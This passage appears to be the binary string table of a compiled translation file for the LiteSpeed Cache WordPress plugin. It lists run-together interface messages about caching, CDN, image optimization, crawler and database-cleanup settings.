2���Dh^�	Im�%����-1	��*l�x�	B�����#3���t��[���M���bW%ya���b<����+�;Y<y�p�����|}0��9 %s ago%1$s %2$d item(s)%1$s %2$s files left in queue%1$s is a %2$s paid feature.%1$s plugin version %2$s required for this action.%1$sLearn More%2$s%d hour%d hours%d item(s)%d minute%d minutes%d seconds%s Extension%s activation data expired.%s file not readable.%s file not writable.%s group%s groups%s image%s images%s is recommended.%s must be turned ON for this setting to work.(no savings)(non-optm)(optm).htaccess Path<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling.<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster.<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads.<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading.<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall.<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold.A Purge All will be executed when WordPress runs these hooks.A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled.A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores.A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores.A QUIC.cloud connection is required to use this preset. Includes optimizations known to improve site score in page speed measurement tools.A TTL of 0 indicates do not cache.A backup of each image is saved before it is optimized.AJAX Cache TTLAPIAPI: Filter %s available to disable blocklist.API: PHP Constant %s available to disable blocklist.AVIF file reduced by %1$s (%2$s)AVIF saved %sAccelerate, Optimize, ProtectAccelerates the speed by caching Gravatar (Globally Recognized Avatars).ActivateAdd Missing SizesAdd new CDN URLAdd new cookie to simulateAdd to BlocklistAdding Style to Your Lazy-Loaded ImagesAdmin IP OnlyAdmin IPsAdvancedAdvanced (Recommended)Advanced SettingsAdvanced level will log more details.AfterAfter the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.After verifying that the cache works in general, please test the cart.AggressiveAlias is in use by another QUIC.cloud account.All QUIC.cloud service queues have been cleared.All TransientsAll categories are cached by default.All pagesAll pages with Recent Posts WidgetAll tags are cached by default.Allows listed IPs (one per line) to perform certain actions from their browsers.Already CachedAlways purge both product and categories on changes to the quantity or stock status.An optional second parameter may be used to specify cache control. Use a space to separateAppend query string %s to the resources to bypass this action.Applied the %1$s preset %2$sApply PresetAre you sure to delete all existing blocklist items?Are you sure to destroy all optimized images?Are you sure you want to clear all cloud nodes?Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard.Are you sure you want to redetect the closest cloud server for this service?Are you sure you want to remove all image backups?Are you sure you want to reset all settings back to the default settings?Asynchronous CSS Loading with Critical CSSAttach PHP info to report. Check this box to insert relevant data from %s.Author archiveAuto DraftsAuto Purge Rules For Publish/UpdateAuto Request CronAuto Rescale Original ImagesAutoloadAutoload entriesAutoload sizeAutoload top listAutomatic generation of critical CSS is in the background via a cron-based queue.Automatic generation of unique CSS is in the background via a cron-based queue.Automatically UpgradeAutomatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.Automatically generate LQIP in the background via a cron-based queue.Automatically remove the original image backups after fetching optimized images.Automatically replace large images with scaled versions.Automatically request optimization via cron job.Available after %d second(s)Avatar list in queue waiting for updateBackend .htaccess PathBackend Heartbeat ControlBackend Heartbeat TTLBackup created %1$s before applying the %2$s presetBasicBasic Image PlaceholderBeforeBest available WordPress performanceBest available WordPress performance, globally fast TTFB, easy setup, and %smore%s!Beta TestBlocklistBlocklistedBlocklisted due to not cacheableBoth %1$s and %2$s are acceptable.Both full URLs and partial strings can be used.Both full and partial strings can be used.BrowserBrowser CacheBrowser Cache SettingsBrowser Cache TTLBrowser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files.By default a gray image placeholder %s will be used.By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.By design, this option may serve stale content. Do not enable this option, if that is not OK with you.CCSS Per URLCCSS Selector AllowlistCDNCDN - DisabledCDN - EnabledCDN - not available for anonymous usersCDN BandwidthCDN SettingsCDN URLCDN URL to be used. For example, %sCSS & JS CombineCSS CombineCSS Combine External and InlineCSS ExcludesCSS MinifyCSS SettingsCSS, JS and HTML MinificationCSS/JS CacheCacheCache Admin BarCache Comment FormCache CommentersCache Control SettingsCache HitCache Logged-in UsersCache Login PageCache MissCache MobileCache REST APICache StatusCache WP-AdminCache key must be integer or non-empty string, %s given.Cache key must not be an empty string.Cache requests made by WordPress REST API calls.Cache the built-in Admin Bar ESI block.Cache the built-in Comment Form ESI block.Caches your entire site, including dynamic content and <strong>ESI blocks</strong>.Calculate Backups Disk SpaceCalculate Original Image StorageCalculated backups successfully.Can not create folder: %1$s. Error: %2$sCancelCategoryCert or key file does not exist.Changed setting successfully.Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.Check StatusCheck my public IP fromCheck the status of your most important settings and the health of your CDN setup here.Check this option to use the primary site's configuration for all subsites.Choose which image sizes to optimize.Clean AllClean Crawler MapClean Up Unfinished DataClean all auto saved draftsClean all orphaned post meta recordsClean all post revisionsClean all spam commentsClean all successfully.Clean all trackbacks and pingbacksClean all transient optionsClean all transients successfully.Clean all trashed commentsClean all trashed posts and pagesClean auto drafts successfully.Clean expired transient optionsClean expired transients successfully.Clean orphaned post meta successfully.Clean post revisions successfully.Clean revisions older than %1$s day(s), excluding %2$s latest revisionsClean spam comments successfully.Clean trackbacks and pingbacks successfully.Clean trashed comments successfully.Clean trashed posts and pages successfully.Cleaned all Critical CSS files.Cleaned all Gravatar files.Cleaned all LQIP files.Cleaned all Unique CSS files.Cleaned all localized resource entries.Cleaned up unfinished data successfully.ClearClear %s cache when "Purge All" is run.Clear Cloudflare cacheClear LogsCleared %1$s invalid images.Clears all cache entries related to this site, including other web applications.Click here to proceed.Click here to set.Click to clear all nodes for further redetection.Click to copyClick to switch to optimized version.Click to switch to original (unoptimized) version.Close popupCloud ErrorCloud server refused the current request due to rate limiting. Please try again later.Cloud server refused the current request due to unpulled images. Please pull the images first.CloudflareCloudflare APICloudflare API is set to off.Cloudflare CacheCloudflare DomainCloudflare SettingsCloudflare ZoneCollapse Query StringsCombine CSS files and inline CSS code.Combine all local JS files into a single file.Comments are supported. Start a line with a %s to turn it into a comment line.Communicated with Cloudflare successfully.Congratulation! Your file was already optimizedCongratulations, %s successfully set this domain up for the anonymous online services.Congratulations, %s successfully set this domain up for the online services with CDN service.Congratulations, %s successfully set this domain up for the online services.Congratulations, all gathered!Connected Date:Connection TestContent Delivery NetworkContent Delivery Network ServiceConvert to InnoDBConverted to InnoDB successfully.Cookie NameCookie SimulationCookie ValuesCopy LogCould not find %1$s in %2$s.Crawl IntervalCrawlerCrawler CronCrawler General SettingsCrawler LogCrawler StatusCrawler disabled by the server admin.Crawler disabled list is cleared! All crawlers are set to active! Crawler(s)Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence.Create a post, make sure the front page is accurate.Created with ❤️ by LiteSpeed team.Credits are not enough to proceed the current request.Critical CSSCritical CSS RulesCron NameCurrent %s ContentsCurrent Cloud Nodes in ServiceCurrent closest Cloud server is %s. Click to redetect.Current crawler started atCurrent image post id positionCurrent limit isCurrent server loadCurrent server time is %s.Current sitemap crawl started atCurrent status is %1$s since %2$s.Current status is %s.Currently active crawlerCurrently set to %sCurrently using optimized version of AVIF file.Currently using optimized version of WebP file.Currently using optimized version of file.Currently using original (unoptimized) version of AVIF file.Currently using original (unoptimized) version of WebP file.Currently using original (unoptimized) version of file.Custom SitemapDB Optimization SettingsDNS PreconnectDNS PrefetchDNS Prefetch ControlDNS Prefetch for static filesDaily archiveDashboardDatabaseDatabase OptimizerDatabase SummaryDatabase Table Engine ConverterDatabase to be usedDay(s)DeactivateDeactivate LiteSpeed CacheDeactivate pluginDebug HelpersDebug LevelDebug LogDebug SettingsDebug String ExcludesDebug URI ExcludesDebug URI IncludesDefaultDefault CacheDefault Feed TTLDefault Front Page TTLDefault HTTP Status Code Page TTLDefault Object LifetimeDefault Private Cache TTLDefault Public Cache TTLDefault REST TTLDefault TTL for cached objects.Default path isDefault port for %1$s is %2$s.Default valueDeferredDeferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).Delay rendering off-screen HTML elements by its selector.DelayedDelete all backups of the original imagesDelivers global coverage with a growing <strong>network of 80+ PoPs</strong>.Destroy All Optimization DataDestroy all optimization data successfully.Determines how changes in product quantity and product stock status affect product pages and their associated category pages.Development ModeDevelopment Mode will be turned off automatically after three hours.Development mode will be automatically turned off in %s.DisableDisable All FeaturesDisable All Features for 24 HoursDisable CacheDisable Image LazyloadDisable VPIDisable WordPress interval heartbeat to reduce server load.Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.DisabledDisabled AVIF file successfully.Disabled WebP file successfully.Disabling this may cause WordPress tasks triggered by AJAX to stop working.Disabling this option may negatively affect performance.Disconnect from QUIC.cloudDismissDismiss this noticeDismiss this notice.Do Not Cache CategoriesDo Not Cache CookiesDo Not Cache GroupsDo Not Cache Query StringsDo Not Cache RolesDo Not Cache TagsDo Not Cache URIsDo Not Cache User AgentsDo not purge categories on changes to the quantity or stock status.Do not show this againDomainDowngrade not recommended. May cause fatal error due to refactored code.Drop Query StringESIESI NoncesESI SettingsESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.ESI sample for developersEditor HeartbeatEditor Heartbeat TTLElements with attribute %s in HTML code will be excluded.Elements with attribute %s in html code will be excluded.Email AddressEmpty Entire CacheEmpty blocklistEnable All FeaturesEnable CacheEnable ESIEnable QUIC.cloud CDNEnable QUIC.cloud ServicesEnable QUIC.cloud servicesEnable Viewport Images auto generation cron.Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic.Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.EnabledEnabled AVIF file successfully.Enabled WebP file successfully.Enabling LiteSpeed Cache for WordPress here enables the cache for the network.Ended reasonEngineEnter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.Error: Failed to apply the settings %1$sEssentialsEvery MinuteEverything in Advanced, PlusEverything in Aggressive, PlusEverything in Basic, PlusEverything in Essentials, PlusExampleExample use case:Examples of test cases include:Exclude PathExclude SettingsExcludesExpired TransientsExportExport SettingsExtremeFailedFailed to back up %s file, aborted changes.Failed to communicate with CloudflareFailed to communicate with QUIC.cloud serverFailed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.Failed to create table %1$s! SQL: %2$s.Failed to detect IPFailed to get %s file contents.Failed to get echo data from WPAPIFailed to parse %s activation status.Failed to request via WordPressFailed to upgrade.Failed to validate %s activation data.Failed to write to %s.Fast Queue UsageFile %s is not writable.Filename is empty!FilesFilter %s available for UCSS per page type generation.Filter %s available to change threshold.Filter %s is supported.Folder does not exist: %sFolder is not writable: %s.Font Display OptimizationFor URLs with wildcards, there may be a delay in initiating scheduled purge.For exampleFor example, %1$s defines a TTL of %2$s seconds for %3$s.For example, %s can be used for a transparent placeholder.For example, for %1$s, %2$s and %3$s can be used here.For example, for %1$s, %2$s can be used here.For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.For example, to drop parameters beginning with %1$s, %2$s can be used here.For that reason, please test the site to make sure everything still functions properly.Force Cache URIsForce Public Cache URIsForce cronForced cacheableFree monthly quota available.Free monthly quota available. Can also be used anonymously (no email required).Front pageFrontend .htaccess PathFrontend Heartbeat ControlFrontend Heartbeat TTLGeneralGeneral SettingsGenerate LQIP In BackgroundGenerate Link for Current UserGenerate UCSSGenerate a separate vary cache copy for the mini cart when the cart is not empty.Generated at %sGenerated links may be managed under %sSettings%s.Get it from %s.Global API Key / API TokenGlobal GroupsGlobally fast TTFB, easy setup, and %s!Go to QUIC.cloud dashboardGo to plugins listGood news from QUIC.cloud serverGoogle reCAPTCHA will be bypassed automatically.Gravatar CacheGravatar Cache CronGravatar Cache TTLGroups cached at the network level.GuestGuest ModeGuest Mode IPsGuest Mode JS ExcludesGuest Mode User AgentsGuest Mode and Guest OptimizationGuest Mode failed to test.Guest Mode passed testing.Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX.Guest Mode testing resultGuest OptimizationHTML Attribute To ReplaceHTML Keep CommentsHTML Lazy Load SelectorsHTML MinifyHTML SettingsHTTPS sources only.HeartbeatHeartbeat ControlHigh-performance page caching and site optimization from LiteSpeedHigher TTLHistoryHitHome pageHostHow to Fix Problems Caused by CSS/JS Optimization.However, there is no way of knowing all the possible customizations that were implemented.Htaccess did not match configuration option.Htaccess rule is: %sI've already left a reviewIf %1$s is %2$s, then %3$s must be populated!If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.If comment to be kept is like: %1$s write: %2$sIf every web application uses the same cookie, the server may confuse whether a user is logged in or not.If not, please verify the setting in the %sAdvanced tab%s.If only the WordPress site should be purged, use Purge All.If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.If set to %s this is done in the foreground, which may slow down page load.If the category name is not found, the category will be removed from the list on save.If the login cookie was recently changed in the settings, please log out and back in.If the tag slug is not found, the tag will be removed from the list on save.If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s.If this is set to a number less than 30, feeds will not be cached.If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.If you are using a %1$s socket, %2$s should be set to %3$sIf you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images.If you run into any issues, please refer to the report number in your support message.If you turn any of the above settings OFF, please remove the related file types from the %s box.If you would rather not move at litespeed, you can deactivate this plugin.If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.Iframes containing these class names will not be lazy loaded.Iframes having these parent class names will not be lazy loaded.Ignore certain query strings when caching. (LSWS %s required)Image InformationImage OptimizationImage Optimization SettingsImage Optimization SummaryImage Thumbnail Group SizesImage groups totalImages PulledImages containing these class names will not be lazy loaded.Images having these parent class names will not be lazy loaded.Images not requestedImages notified to pullImages optimized and pulledImages ready to requestImages requestedImages will be pulled automatically if the cron job is running.ImportImport / ExportImport SettingsImport failed due to file error.Imported setting file %s successfully.Improve HTTP/HTTPS CompatibilityImprove wp-admin speed through caching. (May encounter expired data)Improved byIn order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.In order to use QC services, need a real domain name, cannot use an IP.In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it.Include CSSInclude File TypesInclude ImagesInclude JSInclude external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.Included DirectoriesInline CSS Async LibInline CSS added to CombineInline JS added to CombineInline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.InstallInstall %sInstall DoLogin SecurityInstall NowInstant ClickInvalid IPInvalid login cookie. Invalid characters found.Invalid login cookie. Please check the %s file.Invalid rewrite ruleIt is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first.It will be converted to a base64 SVG placeholder on-the-fly.JS CombineJS Combine External and InlineJS Defer for both external and inline JSJS Deferred / Delayed ExcludesJS DelayedJS Delayed IncludesJS ExcludesJS MinifyJS SettingsJS error can be found from the developer console of browser by right clicking and choosing Inspect.Join LiteSpeed Slack communityJoin Us on SlackJoin the %s community.Keep this off to use plain color placeholders.LQIPLQIP CacheLQIP Cloud GeneratorLQIP ExcludesLQIP Minimum DimensionsLQIP QualityLQIP image preview for size %sLQIP requests will not be sent for images where both width and height are smaller than these dimensions.LSCacheLSCache caching functions on this page are currently unavailable!Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.Larger thanLast PullLast PulledLast Report DateLast Report NumberLast RequestLast calculatedLast complete run time for all crawlersLast crawledLast crawled:Last exportedLast generatedLast generated: %sLast importedLast intervalLast pull initiated by cron at %s.Last ranLast requested costLast requested: %sLazy Load Iframe Class Name ExcludesLazy Load Iframe Parent Class Name ExcludesLazy Load IframesLazy Load Image Class Name ExcludesLazy Load Image ExcludesLazy Load Image Parent Class Name ExcludesLazy Load ImagesLazy Load URI ExcludesLazy Load for IframesLazy Load for ImagesLearn MoreLearn More about QUIC.cloudLearn moreLearn more about when this is neededLearn more or purchase additional quota.Link & Enable QUIC.cloud CDNLink to QUIC.cloudLinked to QUIC.cloud preview environment, for testing purpose only.List of Mobile User AgentsList post types where each item of that type should have its own CCSS generated.List the CSS selectors whose styles should always be included in CCSS.List the CSS selectors whose styles should always be included in UCSS.Listed CSS files or inline CSS code will not be minified or combined.Listed CSS files will be excluded from UCSS and saved to inline.Listed IPs will be considered as Guest Mode visitors.Listed JS files or inline JS code will be delayed.Listed JS files or inline JS code will not be deferred or delayed.Listed JS files or inline JS code will not be minified or combined.Listed JS files or inline JS code will not be optimized by %s.Listed URI will not generate UCSS.Listed User Agents will be considered as Guest Mode visitors.Listed images will not be lazy loaded.LiteSpeed CacheLiteSpeed Cache CDNLiteSpeed Cache Configuration PresetsLiteSpeed Cache CrawlerLiteSpeed Cache DashboardLiteSpeed Cache Database OptimizationLiteSpeed Cache General SettingsLiteSpeed Cache Image OptimizationLiteSpeed Cache Network Cache SettingsLiteSpeed Cache OptimaXLiteSpeed Cache Page OptimizationLiteSpeed Cache Purge AllLiteSpeed Cache SettingsLiteSpeed Cache Standard PresetsLiteSpeed Cache ToolboxLiteSpeed Cache View .htaccessLiteSpeed Cache is disabled. This functionality will not work.LiteSpeed Cache is temporarily disabled until: %s.LiteSpeed Cache plugin is installed!LiteSpeed Crawler CronLiteSpeed LogsLiteSpeed OptimizationLiteSpeed ReportLiteSpeed TechnologiesLiteSpeed Web ADCLiteSpeed Web ServerLiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.Load CSS AsynchronouslyLoad Google Fonts AsynchronouslyLoad JS DeferredLoad iframes only when they enter the viewport.Load images only when they enter the viewport.LocalizationLocalization FilesLocalization SettingsLocalize ResourcesLocalize external resources.Localized ResourcesLog File Size LimitLog ViewLogin CookieLow Quality Image PlaceholderMBManageManually added to blocklistManually runMapMark this page as Maximum image post idMaximum valueMaybe LaterMaybe laterMedia ExcludesMedia SettingsMessage from QUIC.cloud serverMethodMinify CSS files and inline CSS code.Minify HTML content.Minify JS files and inline JS codes.Minimum valueMissMobileMobile Agent RulesMobile CacheMonthly archiveMoreMore information about the available commands can be found here.More settingsMore settings available under %s menuMy QUIC.cloud DashboardNOTENOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s.NOTICENOTICE:NOTICE: Database login cookie did not match your login cookie.Network DashboardNetwork Enable CacheNew Developer Version Available!New Version Available!New developer version %s is available now.New release %s is available now.NewsNext-Gen Image FormatNo available Cloud Node after checked server load.No available Cloud Node.No available Cloudflare zoneNo backup of original file exists.No backup of unoptimized AVIF file exists.No backup of unoptimized WebP file exists.No cloud services currently in useNo crawler meta file generated yetNo fieldsNo optimizationNo sizes found.No valid image found by Cloud server in the current request.No valid image found in the current request.No valid sitemap parsed for crawler.Node:Non cacheableNot AvailableNot blocklistedNot enough parameters. Please check if the QUIC.cloud connection is set correctlyNoteNotesNoticeNotificationsNotified Cloudflare to purge all successfully.Notified Cloudflare to set development mode to %s successfully.Notified LiteSpeed Web Server to purge CSS/JS entries.Notified LiteSpeed Web Server to purge all LSCache entries.Notified LiteSpeed Web Server to purge all pages.Notified LiteSpeed Web Server to purge error pages.Notified LiteSpeed Web Server to purge everything.Notified LiteSpeed Web Server to purge the front page.Notified LiteSpeed Web Server to purge the list.OFFONOPcache is not enabled.OPcache is restricted by %s setting.ORObjectObject CacheObject Cache SettingsObject cache is not enabled.Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding.On uninstall, all plugin settings will be deleted.Once saved, it will be matched with the current list and completed automatically.One or more pulled images does not match with the notified image md5One per line.Online ServicesOnline node needs to be redetected.Only attributes listed here will be replaced.Only available when %s is installed.Only files within these directories will be pointed to the CDN.Only log listed pages.Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.Only press the button if the pull cron job is disabled.Opcode CacheOpenLiteSpeed Web ServerOpenLiteSpeed users please check thisOperationOptimaXOptimaX SettingsOptimaX SummaryOptimization StatusOptimization SummaryOptimization ToolsOptimize CSS delivery.Optimize Image SizesOptimize LosslesslyOptimize Original ImagesOptimize TablesOptimize all tables in your databaseOptimize for Guests OnlyOptimize images and save backups of the originals in the same folder.Optimize images using lossless compression.Optimize images with our QUIC.cloud serverOptimized all tables.Option NameOptionalOptional when API token used.Optionally creates next-generation WebP or AVIF image files.Options saved.OrigOrig %sOrig saved %sOriginal URLsOriginal file reduced by %1$s (%2$s)Orphaned Post MetaOtherOther Static CDNOther checkboxes will be ignored.Outputs to a series of files in the %s directory.PAYG BalancePAYG used this month: %s. PAYG balance and usage not included in above quota calculation.PHP Constant %s is supported.Page Load TimePage OptimizationPageSpeed ScorePagesPartner Benefits Provided byPassedPasswordPasswordless LinkPath must end with %sPaths containing these strings will be cached regardless of no-cacheable settings.Paths containing these strings will be forced to public cached regardless of no-cacheable settings.Paths containing these strings will not be cached.Paths containing these strings will not be served from the CDN.Pay as You GoPay as You Go Usage StatisticsPersistent ConnectionPlease consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:Please do NOT share the above passwordless link with anyone.Please enable LiteSpeed Cache in the plugin settings.Please enable the LSCache Module at the server level, or ask your hosting provider.Please make sure this IP is the correct one for visiting your site.Please read all warnings before enabling this option.Please see %s for more details.Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task.Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.Please thoroughly test all items in %s to ensure they function as expected.Please thoroughly test each JS file you add to ensure it functions as expected.Please try after %1$s for service %2$s.Please visit the %sInformation%s page on how to test the cache.Plugin is too complicatedPortPosition: Post IDPost RevisionsPost type archivePreconnecting speeds up future loads from a given origin.Predefined list will also be combined w/ the above settingsPredefined list will also be combined with the above settingsPredefined list will also be combined with the above settings.Prefetching DNS can reduce latency for visitors.Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.Preserve EXIF/XMP dataPresetsPress the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.Prevent Google Fonts from loading on all pages.Prevent any debug log of listed pages.Prevent any lazy load of listed pages.Prevent any optimization of listed pages.Prevent writing log entries that include listed strings.Previous request too recent. Please try again after %s.Previous request too recent. Please try again later.Previously existed in blocklistPrivatePrivate CachePrivate Cached URIsPrivate cachePrivately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)Privately cache frontend pages for logged-in users. (LSWS %s required)Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality.Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee.Product Update IntervalProvides <strong>security at the CDN level</strong>, protecting your server from attack.PublicPublic CachePull Cron is runningPull ImagesPulled AVIF image md5 does not match the notified AVIF image md5.Pulled WebP image md5 does not match the notified WebP image md5.PurgePurge %s ErrorPurge %s error pagesPurge AllPurge All HooksPurge All On UpgradePurge By...Purge EverythingPurge Front PagePurge ListPurge LogPurge PagesPurge SettingsPurge all object caches successfully.Purge all the object cachesPurge categories only when stock status changes.Purge category %sPurge pages by category name - e.g. %2$s should be used for the URL %1$s.Purge pages by post ID.Purge pages by relative or full URL.Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.Purge product and categories only when the stock status changes.Purge product on changes to the quantity or stock status.Purge product only when the stock status changes.Purge tag %sPurge the LiteSpeed cache entries created by this pluginPurge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP cachesPurge this pagePurge url %sPurged All!Purged all caches successfully.Purged the URL!Purged the blog!Purged!Pushed %1$s to Cloud server, accepted %2$s.QUIC.cloudQUIC.cloud CDNQUIC.cloud CDN OptionsQUIC.cloud CDN Status OverviewQUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users.QUIC.cloud CDN is currently <strong>fully disabled</strong>.QUIC.cloud CDN:QUIC.cloud Integration DisabledQUIC.cloud Integration EnabledQUIC.cloud Integration Enabled with limitationsQUIC.cloud Online ServicesQUIC.cloud Service Usage StatisticsQUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.QUIC.cloud's Image Optimization service does the following:QUIC.cloud's Online Services improve your site in the following ways:QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores.QUIC.cloud's access to your WP REST API seems to be blocked.Query strings containing these parameters will not be cached.Rate %1$s on %2$sRead LiteSpeed DocumentationRecommended to generate the token from Cloudflare API token template "WordPress".Recommended value: 28800 seconds (8 hours).RedetectRedetected nodeRedis Database IDRedis encountered a fatal error: %1$s (code: %2$d)RefreshRefresh Crawler MapRefresh Gravatar cache by cron.Refresh QUIC.cloud statusRefresh StatusRefresh UsageRefresh page load timeRefresh page scoreRegenerate and Send a New ReportRemaining Daily QuotaRemove CDN URLRemove Google FontsRemove Noscript TagsRemove Original BackupsRemove Original Image BackupsRemove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first.Remove Query StringsRemove Query Strings from Static FilesRemove WordPress EmojiRemove `Disable All Feature` Flag NowRemove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.Remove all previous unfinished image optimization requests.Remove cookie simulationRemove from BlocklistRemove query strings from internal static resources.Removed Unused CSS for UsersRemoved backups successfully.Replace %1$s with %2$s.ReportRequest WebP/AVIF versions of original images when doing optimization.Requested: %s agoRequests in queueRescan New ThumbnailsRescanned %d images successfully.Rescanned successfully.Reset %s activation successfully.Reset All SettingsReset SettingsReset image optimization counter successfully.Reset positionReset successfully.Reset the OPcache failed.Reset the entire OPcache successfully.Reset the entire opcode cacheReset the optimized data successfully.Resources listed here will be copied and replaced with local URLs.Responsive PlaceholderResponsive Placeholder ColorResponsive Placeholder SVGResponsive image placeholders can help to reduce layout reshuffle when images are loaded.Restore SettingsRestore from backupRestored backup settings %1$sRestored original file successfully.Results can be checked in %sMedia Library%s.Revisions Max AgeRevisions Max NumberRevisions newer than this many days will be kept when cleaning revisions.Role ExcludesRole SimulationRun %s Queue ManuallyRun FrequencyRun Queue ManuallyRun frequency is set by the Interval Between Runs setting.Run time for previous crawlerRunningSYNTAX: alphanumeric and "_". No spaces and case sensitive.SYNTAX: alphanumeric and "_". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS.Save ChangesSave transients in database when %1$s is %2$s.SavedSaving option failed. IPv4 only for %s.Scaled size thresholdScan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.Scheduled Purge TimeScheduled Purge URLsSee %sIntroduction for Enabling the Crawler%s for detailed information.Select "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.Select below for "Purge by" options.Select only the archive types that are currently used, the others can be left unchecked.Select which pages will be automatically purged when posts are published/updated.Selected roles will be excluded from all optimizations.Selected roles will be excluded from cache.Selectors must exist in the CSS. Parent classes in the HTML will not work.Send Optimization RequestSend this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.Send to LiteSpeedSend to twitter to get %s bonusSeparate CCSS Cache Post TypesSeparate CCSS Cache URIsSeparate critical CSS files will be generated for paths containing these strings.Serve StaleServe a separate cache copy for mobile visitors.Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes.Serve your visitors fastServer IPServer Load LimitServer allowed max value: %sServer enforced value: %sServer variable(s) %s available to override this setting.Service:Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.Set to %1$s to forbid heartbeat on %2$s.Setting Up Custom HeadersSettingsShorten query strings in the debug log to improve readability.Show crawler statusSignificantly improve load time by replacing images with their optimized %s versions.Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.Site performance is worseSitemap ListSitemap TotalSitemap cleaned successfullySitemap created successfully: %d itemsSizeSize list in queue waiting for cronSmaller thanSoft Reset Optimization CounterSome optimized image file(s) has expired and was cleared.Spam CommentsSpecify a base64 image to be used as a simple placeholder while images finish loading.Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.Specify an HTTP status code and the number of seconds to cache that page, separated by a space.Specify an SVG to be used as a placeholder when generating locally.Specify critical CSS rules for above-the-fold content when enabling %s.Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.Specify how long, 